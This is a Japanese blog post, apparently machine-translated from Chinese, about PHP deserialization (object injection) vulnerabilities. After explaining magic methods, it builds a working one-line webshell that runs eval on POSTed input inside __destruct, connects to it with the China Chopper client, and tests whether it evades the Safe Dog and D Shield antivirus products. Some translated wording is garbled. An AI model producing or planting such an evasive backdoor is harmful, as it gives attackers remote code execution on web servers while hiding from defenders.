ホームページ  >  記事  >  バックエンド開発  >  PHP デシリアライゼーションの脆弱性の詳細な説明

PHP デシリアライゼーションの脆弱性の詳細な説明

小云云
小云云オリジナル
2018-03-22 14:21:384626ブラウズ

最近、私は友人たちと PHP の逆シリアル化の脆弱性について研究しましたが、その逆シリアル化の脆弱性を利用して 1 文のトロイの木馬を作成するのは非常に効果的であると突然思いつきました。この記事では主に PHP デシリアライゼーションの脆弱性について詳しく説明し、皆様のお役に立てれば幸いです。

0x01 PHP デシリアライズ

PHP デシリアライズと言えば、まず PHP シリアル化について簡単に説明する必要があります。 PHP シリアル化は、クロススクリプトなどの送信を容易にするために、オブジェクト、配列、文​​字列などをバイト ストリームに変換します。 PHP の逆シリアル化は、シリアル化されたバイト ストリームをオブジェクト、文字、配列などに復元することです。ただし、PHP のシリアル化はオブジェクトを保存しないメソッドです。

<?php
class A{
    var $test = "demo";
}
$a = new A();  // 生成a对象
$b = serialize($a);  // 序列化a对象为b
$c = unserialize($b); // 反序列化b对象为c
print_r($b);   // 输出序列化之后的值:O:1:"A":1:{s:4:"test";s:4:"demo";}
echo "\n";
print_r($c->test);  // 输出对象c中test的值:demo
?>

0x02 PHP 逆シリアル化の脆弱性

PHP クラスには、マジック関数と呼ばれる特殊な関数本体があり、マジック関数名は、__construct、__destruct、__toString、__sleep、__wakeup などの記号 __ で始まります。これらの関数は、オブジェクトの作成時の __construct、オブジェクトの破棄時の __destruct、オブジェクトが文字列として使用される時の __toString など、特定の状況で自動的に呼び出されます。
逆シリアル化するとき、逆シリアル化されたオブジェクトにマジック関数がある場合、unserialize() 関数を使用するとそれもトリガーされます。このようにして、unserialize() エントリを制御できるようになると、オブジェクト インジェクションの脆弱性が発生する可能性があります。

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET[&#39;test&#39;];
$a_unser = unserialize($a);
?>

たとえば、上記のコードでは、ペイロードは http://127.0.0.1:800/test.php?test=O:1:"A":1:{s:4:"test" として構築されます。 ;s:5:" hello";}
逆シリアル化後、スクリプトの最後で _destruct 関数が呼び出され、テスト変数が上書きされて hello が出力されます。

PHP デシリアライゼーションの脆弱性の詳細な説明

0x03 バックラッシュ

この脆弱性を利用して入力変数を制御し、それらをシリアル化されたオブジェクトに結合できます。次に、_destruct() 関数で eval を呼び出してシリアル化されたオブジェクト内のステートメントを実行するなど、マジック関数を構築します。

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST[&#39;test&#39;];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

PHP デシリアライゼーションの脆弱性の詳細な説明

0x04 効果のデモンストレーション

キッチンナイフのダイレクトリンク:
PHP デシリアライゼーションの脆弱性の詳細な説明

PHP デシリアライゼーションの脆弱性の詳細な説明

Safety Dog:

PHP デシリアライゼーションの脆弱性の詳細な説明

結局のところ、このトロイの木馬は通常のファイルとあまりにも似ているので、アンチキル効果はありませんとても良い。ここではセーフティドッグとDシールドのみをテストし、残りは自己テストです。

概要

そして、これは多くの変形を引き起こす可能性があります。ここではデシリアライゼーションの脆弱性のみを使用します。結局のところ、CMS のコード実行の脆弱性が発見される前に、他の脆弱性も使用される可能性があります。通常のものではなくなったファイル。

関連する推奨事項:

php 逆シリアル化オブジェクト挿入の脆弱性について

PHP のシリアル化と逆シリアル化の原理の詳細な説明

php でのシリアル化と逆シリアル化についての深い理解

以上がPHP デシリアライゼーションの脆弱性の詳細な説明の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。